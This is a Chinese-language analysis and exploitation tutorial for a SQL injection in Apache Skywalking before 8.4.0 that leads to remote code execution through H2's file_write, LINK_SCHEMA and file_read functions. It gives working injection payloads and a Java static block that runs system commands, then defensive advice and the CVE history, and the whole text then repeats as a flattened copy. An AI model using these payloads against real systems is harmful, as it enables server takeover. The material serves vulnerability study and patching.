Skywalking远程代码执行漏洞分析
字数 2632 2025-08-10 08:28:37

Apache Skywalking远程代码执行漏洞分析与利用教学

1. 漏洞概述

Apache Skywalking是一个分布式系统的应用程序性能监视工具,特别为微服务、云原生和基于容器(Docker, Kubernetes, Mesos)的体系结构设计。

该漏洞存在于Skywalking v8.4.0之前的版本中,是由于之前两次SQL注入漏洞(CVE-2020-9483、CVE-2020-13921)修复不完善,仍存在一处SQL注入漏洞。结合H2数据库(默认数据库),可以导致远程代码执行(RCE)。

2. 环境搭建

2.1 调试环境搭建

  1. 下载Skywalking v8.3.0源码:

    https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz
    
  2. 编译项目:

    ./mvnw compile -Dmaven.test.skip=true
    
  3. 启动服务:

    • OAPServerStartUp.javamain()函数运行启动OAPServer
    • skywalking-ui目录运行npm run serve启动前台服务
    • 访问http://localhost:8081

注意:实际RCE利用时,建议使用官方提供的distribution中的startup.bat启动,因为IDEA会修改classpath导致RCE不成功。

2.2 二进制包下载

https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz

3. 前置知识

3.1 GraphQL基础

漏洞利用需要通过GraphQL语句构造,需要掌握:

  • GraphQL查询语法
  • SpringBoot和GraphQL的整合

在Skywalking中:

  • .graphqls文件定义服务
  • 实现GraphQLQueryResolver的类中定义与服务名相同的方法
  • 这样GraphQL服务就与具体的Java方法对应起来

3.2 Skywalking中GraphQL组件关系

alarm.graphqls为例:

  • Service层oap-server/server-core/src/main/java/org/apache/skywalking/oap/server/core/query/AlarmQueryService.java
  • Resolver接口实现层oap-server/server-query-plugin/query-graphql-plugin/src/main/java/org/apache/skywalking/oap/query/graphql/resolver/AlarmQuery.java
  • GraphQLs文件oap-server/server-query-plugin/query-graphql-plugin/src/main/resources/query-protocol/alarm.graphqls
  • DAO层oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java

4. 漏洞分析

4.1 SQL注入点定位

漏洞位于:
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java

关键代码(第64行):

sql.append(" where ").append(LogRecord.METRIC_NAME).append(" = \'").append(metricName).append("\'");

metricName直接拼接到SQL语句中,未做任何过滤。

4.2 调用链分析

  1. DAO层H2LogQueryDAO.queryLogs()

    • 直接拼接metricName到SQL语句
  2. Service层LogQueryService.queryLogs()

    • 调用DAO层方法
  3. Resolver层LogQuery.queryLogs()

    • 实现GraphQLQueryResolver接口
    • 直接通过condition.getMetricName()获取参数值

4.3 SQL注入验证

构造恶意metricName

INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --

成功报错并带出H2数据库版本信息。

5. RCE利用

5.1 H2数据库特性

H2数据库SQL注入可导致RCE,常见方法:

  1. 堆叠注入定义函数别名执行Java代码
  2. 使用file_write写文件
  3. 使用link_schema触发类加载

限制prepareStatement只能编译一条语句,无法使用分号执行多条语句。

5.2 利用方法

结合file_writelink_schema

  1. file_write:写入恶意class文件

    INFORMATION_SCHEMA.USERS union all select file_write('6162','evilClass'))a where 1=? or 1=? or 1=? --
    
  2. link_schema:加载恶意类

    INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','evilClass','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --
    

link_schema底层使用Class.forName()加载类,触发恶意类静态代码块执行。

5.3 回显RCE实现

由于双亲委派机制和类加载限制,需要:

  1. 每次使用不同类名
  2. 通过file_write写入执行结果到文件
  3. 使用file_read读取结果文件

恶意类静态代码块示例:

static {
    try {
        String cmd = "whoami";
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        InputStreamReader i = new InputStreamReader(in, "GBK");
        BufferedReader re = new BufferedReader(i);
        StringBuilder sb = new StringBuilder(1024);
        String line = null;
        while ((line = re.readLine()) != null) {
            sb.append(line);
        }
        BufferedWriter out = new BufferedWriter(new FileWriter("output.txt"));
        out.write(String.valueOf(sb));
        out.close();
    } catch (IOException var7) { }
}

读取结果:

INFORMATION_SCHEMA.USERS union all select file_read('output.txt',null))a where 1=? or 1=? or 1=? --

5.4 动态字节码生成

为绕过类加载限制,可动态生成不同类名的恶意类:

  1. 随机生成5位文件名后缀
  2. 修改恶意类字节码中的类名部分
  3. 动态拼接完整的class文件十六进制

6. 历史漏洞分析

6.1 CVE-2020-9483

  • 漏洞点H2MetricsQueryDAO.java中id参数直接拼接
  • 修复:改为使用预编译方式查询

6.2 CVE-2020-13921

  • 漏洞点:多处SQL语句直接拼接用户输入
  • 修复:改为使用占位符预编译方式

6.3 当前漏洞

  • 是之前修复不完善的遗留问题
  • 最终修复方案:直接删除metricName字段

7. 防御建议

  1. 升级到Skywalking v8.4.0或更高版本
  2. 避免使用H2作为生产环境数据库
  3. 对所有用户输入进行严格过滤和验证
  4. 使用预编译SQL语句而非字符串拼接

8. 总结

该漏洞展示了:

  1. 修复不彻底可能导致新的安全问题
  2. SQL注入与其他特性结合可导致更严重的RCE
  3. 数据库内置功能可能成为攻击媒介
  4. 防御需要多层次、全方位的考虑

通过深入分析此类漏洞,可以帮助开发者更好地理解安全编码的重要性,并提高系统安全性。

Apache Skywalking远程代码执行漏洞分析与利用教学 1. 漏洞概述 Apache Skywalking是一个分布式系统的应用程序性能监视工具,特别为微服务、云原生和基于容器(Docker, Kubernetes, Mesos)的体系结构设计。 该漏洞存在于Skywalking v8.4.0之前的版本中,是由于之前两次SQL注入漏洞(CVE-2020-9483、CVE-2020-13921)修复不完善,仍存在一处SQL注入漏洞。结合H2数据库(默认数据库),可以导致远程代码执行(RCE)。 2. 环境搭建 2.1 调试环境搭建 下载Skywalking v8.3.0源码: 编译项目: 启动服务: 在 OAPServerStartUp.java 的 main() 函数运行启动OAPServer 在 skywalking-ui 目录运行 npm run serve 启动前台服务 访问 http://localhost:8081 注意 :实际RCE利用时,建议使用官方提供的distribution中的 startup.bat 启动,因为IDEA会修改classpath导致RCE不成功。 2.2 二进制包下载 3. 前置知识 3.1 GraphQL基础 漏洞利用需要通过GraphQL语句构造,需要掌握: GraphQL查询语法 SpringBoot和GraphQL的整合 在Skywalking中: .graphqls 文件定义服务 实现 GraphQLQueryResolver 的类中定义与服务名相同的方法 这样GraphQL服务就与具体的Java方法对应起来 3.2 Skywalking中GraphQL组件关系 以 alarm.graphqls 为例: Service层 : oap-server/server-core/src/main/java/org/apache/skywalking/oap/server/core/query/AlarmQueryService.java Resolver接口实现层 : oap-server/server-query-plugin/query-graphql-plugin/src/main/java/org/apache/skywalking/oap/query/graphql/resolver/AlarmQuery.java GraphQLs文件 : oap-server/server-query-plugin/query-graphql-plugin/src/main/resources/query-protocol/alarm.graphqls DAO层 : oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java 4. 漏洞分析 4.1 SQL注入点定位 漏洞位于: oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java 关键代码(第64行): metricName 直接拼接到SQL语句中,未做任何过滤。 4.2 调用链分析 DAO层 : H2LogQueryDAO.queryLogs() 直接拼接 metricName 到SQL语句 Service层 : LogQueryService.queryLogs() 调用DAO层方法 Resolver层 : LogQuery.queryLogs() 实现 GraphQLQueryResolver 接口 直接通过 condition.getMetricName() 获取参数值 4.3 SQL注入验证 构造恶意 metricName : 成功报错并带出H2数据库版本信息。 5. RCE利用 5.1 H2数据库特性 H2数据库SQL注入可导致RCE,常见方法: 堆叠注入定义函数别名执行Java代码 使用 file_write 写文件 使用 link_schema 触发类加载 限制 : prepareStatement 只能编译一条语句,无法使用分号执行多条语句。 5.2 利用方法 结合 file_write 和 link_schema : file_ write :写入恶意class文件 link_ schema :加载恶意类 link_schema 底层使用 Class.forName() 加载类,触发恶意类静态代码块执行。 5.3 回显RCE实现 由于双亲委派机制和类加载限制,需要: 每次使用不同类名 通过 file_write 写入执行结果到文件 使用 file_read 读取结果文件 恶意类静态代码块示例: 读取结果: 5.4 动态字节码生成 为绕过类加载限制,可动态生成不同类名的恶意类: 随机生成5位文件名后缀 修改恶意类字节码中的类名部分 动态拼接完整的class文件十六进制 6. 历史漏洞分析 6.1 CVE-2020-9483 漏洞点 : H2MetricsQueryDAO.java 中id参数直接拼接 修复 :改为使用预编译方式查询 6.2 CVE-2020-13921 漏洞点 :多处SQL语句直接拼接用户输入 修复 :改为使用占位符预编译方式 6.3 当前漏洞 是之前修复不完善的遗留问题 最终修复方案:直接删除 metricName 字段 7. 防御建议 升级到Skywalking v8.4.0或更高版本 避免使用H2作为生产环境数据库 对所有用户输入进行严格过滤和验证 使用预编译SQL语句而非字符串拼接 8. 总结 该漏洞展示了: 修复不彻底可能导致新的安全问题 SQL注入与其他特性结合可导致更严重的RCE 数据库内置功能可能成为攻击媒介 防御需要多层次、全方位的考虑 通过深入分析此类漏洞,可以帮助开发者更好地理解安全编码的重要性,并提高系统安全性。